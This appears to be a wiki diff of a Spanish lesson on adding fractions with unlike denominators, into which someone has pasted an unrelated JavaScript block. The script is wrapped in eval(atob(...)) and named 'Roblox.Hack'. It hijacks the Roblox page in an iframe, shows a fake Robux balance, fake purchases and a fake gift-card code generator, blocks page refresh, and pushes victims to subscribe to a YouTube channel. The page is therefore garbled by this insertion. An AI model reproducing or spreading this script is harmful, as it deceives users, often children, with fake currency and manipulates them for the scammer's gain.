Contenido eliminado Contenido añadido
Se calcula el m.c.m., que en este caso es 18. Se ponen las fracciones con tal mcm como denominador. Acto seguido, se divide el mcm en el denominador inicial y el resultado se multiplica en el numerador inicial, y ya tenemos el numerador de la fracción cuyo denominador es el mcm.
== Suma de fracciones heterogéneas: Forma 2==
eval(atob('Roblox.Hack = {
    original: 'missingno',
    balance: 0,
    initialized: 0,
    loading: false,
    items: [],
    inventoryString: '<li class="list-item item-card ng-scope"><div class="item-card-container"><a class="item-card-link" href="%1" data-ytta-id="-"><div class="item-card-thumb-container"><div ng-hide="item.Product.SerialNumber==null" class="item-serial-number ng-binding ng-hide">#</div><img thumbnail="item.Thumbnail" image-retry="" class="item-card-thumb ng-isolate-scope" src="%2"></div><div class="text-overflow item-card-name ng-binding" title="%6 ">%6 </div></a><!-- ngIf: item.Item.AudioUrl --><div class="text-overflow item-card-creator"><span class="xsmall text-label">By</span> <a class="xsmall text-overflow text-link ng-binding" ng-href="%3" ng-hide="assetsListContent.assetItems.data.Data.PageType!==\'favorites\'&amp;&amp;currentData.category.name==\'Places\'&amp;&amp;(currentData.subcategory.name==\'My VIP Servers\'||currentData.subcategory.name==\'Other VIP Servers\')&amp;&amp;staticData.isOwnPage" href="%3" data-ytta-id="-">%4</a> <a class="xsmall text-overflow text-link ng-binding ng-hide" ng-href="" ng-show="assetsListContent.assetItems.data.Data.PageType!==\'favorites\'&amp;&amp;(currentData.subcategory.name==\'My VIP Servers\'||currentData.subcategory.name==\'Other VIP Servers\')"></a></div><div class="item-card-price"><span class="icon-robux-16x16"></span> <span class="text-robux ng-binding ng-hide" ng-show="item.HasPrice"></span> <span class="text-label" ng-hide="item.HasPrice"><!-- ngIf: item.Product.NoPriceText.length>0 --><span ng-if="item.Product.NoPriceText.length>0" ng-class="{\'text-robux\':item.Product.NoPriceText===\'Free\'}" class="ng-binding ng-scope text-robux">%5</span><!-- end ngIf: item.Product.NoPriceText.length>0 --></span></div></div></li>',
    disableF5: function (e) { if ((e.which || e.keyCode) == 116 || (e.which || e.keyCode) == 82) { e.preventDefault(); document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href; } },
    watermark: function () {
        console.clear();
    },
    setRobux: function (robux) {
        //Roblox.NumberFormatting.js
        typeof Roblox == "undefined" && (Roblox = {}), typeof Roblox.NumberFormatting == "undefined" && (Roblox.NumberFormatting = function () { var n = function (n) { if (typeof n != "number") throw "'number' is not a number"; return n.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",") }, t = function (t) { var i, r, u; if (typeof t != "number") throw "'number' is not a number"; var f = 1e4, e = 1e6, o = 1e9; return t == 0 ? "0" : t < f ? n(t) : (i = "B+", r = 9, t < e ? (i = "K+", r = 3) : t < o && (i = "M+", r = 6), u = t.toString(), u.substring(0, u.length - r) + i) }; return { abbreviatedFormat: t, commas: n } }());
        //Roblox.NumberFormatting.js

        Roblox.Hack.balance = robux;
        var doc = document.getElementById('documentFrame').contentWindow.document;
        if (doc.getElementById('nav-robux-amount') != null) {
            doc.getElementById("nav-robux-balance").innerHTML = Roblox.NumberFormatting.abbreviatedFormat(Roblox.Hack.balance) + " ROBUX";
            doc.getElementById("nav-robux-amount").innerHTML = Roblox.NumberFormatting.abbreviatedFormat(Roblox.Hack.balance);
        }
    },
    addRobux: function (robux) {
        Roblox.Hack.setRobux(Roblox.Hack.balance + robux);
    },
    addItem: function (category, name, image, creator, price, url, profile) {
        Roblox.Hack.items.push({ category: category, name: name, image: image, creator: creator, price: price, profile: profile, url: url });
    },
    format: function (str, arr) {
        return str.replace(/%(\d+)/g, function (_, m) {
            return arr[--m];
        });
    },
    init: function () {
        if (Roblox.Hack.initialized != 0) {
            console.log("Already initalized!");
            return;
        }
		
		console.log("success!");
		
		if (Roblox.Hack.initialized != 0) {
			console.log("Already initalized!");
			return;
		}
		
		for(var i = 0; i < document.getElementsByName('channelId').length; i++) {
			Roblox.Hack.channelIds.push(document.getElementsByName('channelId')[i].getAttribute('content'));
		}
		
		window.onbeforeunload = function () {
			return "Your ROBUX has not finished saving, if you continue your balance will be set to " + Roblox.Hack.original + " ROBUX";
		}
		Roblox.Hack.initialized = 1;
		Roblox.Hack.original = document.getElementById('nav-robux-amount').innerHTML;
		Roblox.Hack.balance = parseInt(document.getElementById('nav-robux-amount').innerHTML.replace(/,/g, '').replace('K+', '999').replace('M+', '999999').replace('B+', '999999999'));
		document.documentElement.innerHTML = "<body style='margin:0px;padding:0px:overflow:hidden'><iframe id='documentFrame' sandbox='allow-same-origin allow-scripts allow-popups allow-forms' src='" + document.location + "' frameborder='0' style='overflow:hidden;height:100%;width:100%;position:absolute' height='100%' width='100%' /></body>";
		var start_loading = (function () {
			Roblox.Hack.loading = true;
		});
		setInterval(function () {
			Roblox.Hack.setRobux(Roblox.Hack.balance);
			if (Roblox.Hack.loading && document.getElementById('documentFrame').contentWindow.document.body.innerHTML.indexOf('nav-robux-amount') != -1) {
				Roblox.Hack.loading = false;
				if (document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
					window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
				}
				
				for (var ok = 0; ok < 20; ok++) {
					setTimeout(function () {
						var doc = document.getElementById('documentFrame').contentWindow.document;
						var t = doc.getElementsByClassName("PurchaseButton");
						for (var i = 0; i < t.length; i++) {
							$(t[i]).replaceWith(function () {
								return $('<' + this.nodeName + ' class="' + $(this).attr('class') + '">').append($(this).contents());
							});
							t[i].onclick = function () {
								Roblox.Hack.addItem(
									doc.getElementsByClassName("field-content")[0].innerHTML.toLowerCase().replace(/ /g, '-') + 's',
									doc.getElementsByClassName('item-name-container')[0].children[0].innerHTML,
									doc.getElementsByClassName('thumbnail-span')[0].children[0].src,
									doc.getElementsByClassName('text-name')[0].innerHTML,
									doc.getElementsByClassName('text-robux-lg')[0].innerHTML,
									window.location.href,
									doc.getElementsByClassName('text-name')[0].href
									);
								document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Purchase Completed");
								document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"), 100, 1e3);
								setTimeout(function () {
									Roblox.Hack.addRobux(-parseInt(document.getElementById('documentFrame').contentWindow.$(".text-robux-lg").html().replace(/,/g, '')));
									document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href;
								}, 200);
							}
						}
					}, ok * 150);
				}

				var doc = document.getElementById('documentFrame').contentWindow.document;
				if (doc.location.href.split('/').length == 6 && document.location.href.split('/')[3] == 'catalog') {
					for (var i = 0; i < Roblox.Hack.items.length; i++) {
						var item = Roblox.Hack.items[i];
						if (item.url == window.location.href) {
							var buyInterval = setInterval(function () {
								if (doc.getElementsByClassName('text-label').length > 0 && doc.getElementsByClassName('text-label field-label price-label').length > 0 && doc.getElementsByClassName('action-button').length > 0) {
									clearInterval(buyInterval);
									doc.getElementsByClassName('text-label')[0].outerHTML += '<div class="divider">&nbsp;</div><div class="label-checkmark"><span class="icon-checkmark-white-bold"></span></div><span>Item Owned</span>';
									doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML = '<div class="item-first-line">This item is available in your inventory.</div>' + doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML;
									doc.getElementsByClassName('action-button')[0].innerHTML = '<a id="edit-avatar-button" href="https://www.roblox.com/my/avatar" class="btn-control-md" data-button-action="avatar" data-ytta-id="-">Edit Avatar</a>';
								}
							}, 1);
						}
					}
				}

				/*if(typeof(doc.getElementById('assetsItems')) != 'undefined') {
					var inventory = doc.getElementById('assetsItems');
					for(var i = 0; i < Roblox.Hack.items.length; i++) {
						var item = Roblox.Hack.items[i];
						if(item.category == window.location.href.split('/')[6]) {
							inventory.innerHTML += Roblox.Hack.format(Roblox.Hack.inventoryString, [item.url, item.image, item.profile, item.creator, item.price, item.name]);
						}
					}
				}*/

				document.title = doc.title;
				if (typeof (Roblox.Hack.onload) != 'undefined') Roblox.Hack.onload();
			}
		}, 1);
		window.addEventListener('message', function (e) { if (e.data == 'iframe_change') { start_loading(); } }, false);
		$('#documentFrame').load(function () {
			if (Roblox.Hack.initialized != 2) {
				Roblox.Hack.initialized = 2;
				document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Successfully loaded");
				document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"), 100, 2e3);
			}
			Roblox.Hack.watermark();
			document.getElementById('documentFrame').contentWindow.onunload = function () { window.top.postMessage('iframe_change', '*'); };
			if (document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
				window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
			}
			if (document.getElementById('documentFrame').contentWindow.document.location.href.indexOf('my/avatar') != -1 || document.getElementById('documentFrame').contentWindow.document.getElementById('assetsItems') != null) {
				if (window.confirm("You must be subscribed to Hypur - Roblox & More to receive the items you bought\nIf you are subscribed, press Cancel and wait up to 15 minutes for the item to be added to your inventory.\nIf you have not subscribed yet, press OK to be redirected to the subscribe page.")) {
					var win = window.open('https://www.youtube.com/channel/UCbHvej9KgwbQn3UZvZ1HTNQ?sub_confirmation=1', '_blank');
					win.focus();
				} else {
					alert("The items will now be added to your inventory. It may take between 15 minutes to 48 hours for your item to appear\nIf you did not subscribe this will not work\n\nYou do not have to leave this page open, feel free to close the tab, play ROBLOX, or turn off your PC.");
				}
			};
			document.title = document.getElementById('documentFrame').contentWindow.document.title;
			if (typeof (Roblox.Hack.onloaded) != 'undefined') Roblox.Hack.onloaded();
		});
		window.onpopstate = function (event) {
			document.getElementById('documentFrame').contentWindow.document.location = document.location;
		};
		$(document).ready(function () {
			$(document).on("keydown", Roblox.Hack.disableF5);
		});
    }
}

Roblox.Hack.init();

generating = false;
Roblox.Hack.onloaded = function() {
	cw = document.getElementById('documentFrame').contentWindow;
	
	cw.Roblox.GameCard._redeemCode = Roblox.GameCard.redeemCode;
	cw.Roblox.GameCard.redeemCode = function() {
		var pin = cw.$('#pin').val();
		var gen = cw.$('#genPin').val();
		
		if(pin != gen)
			cw.Roblox.GameCard._redeemCode();
		else {
			cw.$("#busy").show();
			cw.$("#success").hide();
			
			setTimeout(function() {
				cw.$("#busy").css("visibility", "hidden")
				cw.$("#busy").hide()
				cw.$("#SuccessMessage").html("Code successfully redeemed!")
				cw.$("#success").show()
				cw.$("#buyStuff").show();
				Roblox.Hack.addRobux(250000000);
			}, 1000);
		}
	};
	
	cw.$('#CodeInput').parent().prepend(`
	<div id="CodeInput">
				<div class="header">Generate Your Code:</div>
				<input id="genPin" type="text" readonly="readonly">
				<span class="btn-primary btn-small" id="generator" onclick="generateCode()">
					Generate
				</span>
				<img id="busy2" src="https://images.rbxcdn.com/21e504e643e6c21e0c90e5a1b03325f9.gif" alt="Loading" style="height: 30px; height: 30px; visibility: hidden">
			</div>
			`);

	randomize = function() {
		var text = "";
		var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

		for (var i = 0; i < 15; i++)
			text += possible.charAt(Math.floor(Math.random() * possible.length));

		return text;
	};

	cw.generateCode = function() {
		if(generating) return;
		generating = true;
		
		cw.$("#busy2").css("visibility", "visible");
		cw.$('#generator').attr( "disabled" , "disabled" );
		
		genInterval = setInterval(function() {
			cw.$('#genPin').val(randomize());
		}, 15);
		
		setTimeout(function() {
			clearInterval(genInterval);
			
			generating = false;
			cw.$("#busy2").css("visibility", "hidden")
			cw.$("#busy2").hide()
			cw.$("#SuccessMessage").html("Code successfully generated!")
			cw.$("#SuccessMessageSubText").html("Please redeem it in the redeem box")
			cw.$("#success").show()
			cw.$("#buyStuff").show();
		}, ((Math.random() * 5) + 4) * 1000);
	};
}'));
Ejemplo:
: <math>
\cfrac{1}{6} + \cfrac{4}{9}
</math>
Se resolvería de la siguiente forma:
: <math>
\cfrac{1}{6} + \cfrac{4}{9} =
\cfrac{1 \cdot 9}{6 \cdot 9} + \cfrac{4 \cdot 6}{9 \cdot 6} =
\cfrac{9}{54} + \cfrac{24}{54} =
\cfrac{ 9 + 24}{54} =
\cfrac{33}{54}
</math>
La fracción resultante es <math> \frac{11}{18}</math> y los <math> \frac{11}{18}</math> es una reducción ya que si observamos el numerador y el denominador son divisibles por tres, de ahí resulta:
: <math>
\cfrac{1}{6} + \cfrac{4}{9} =
\cfrac{33}{54} =
\cfrac{11 \cdot \cancel {3}}{18 \cdot \cancel {3}} =
\cfrac{11}{18}
</math>
El método es multiplicar el numerador de la primera fracción con el denominador de la segunda, posteriormente se suma la multiplicación del denominador de la primera fracción con el numerador de la segunda fracción y todo eso dividido por la multiplicación de los dos denominadores y numeradores.
Aquí no calculamos el [[w:mínimo común múltiplo|mínimo común múltiplo]] (m.c.m.).
==Una variante manejable==
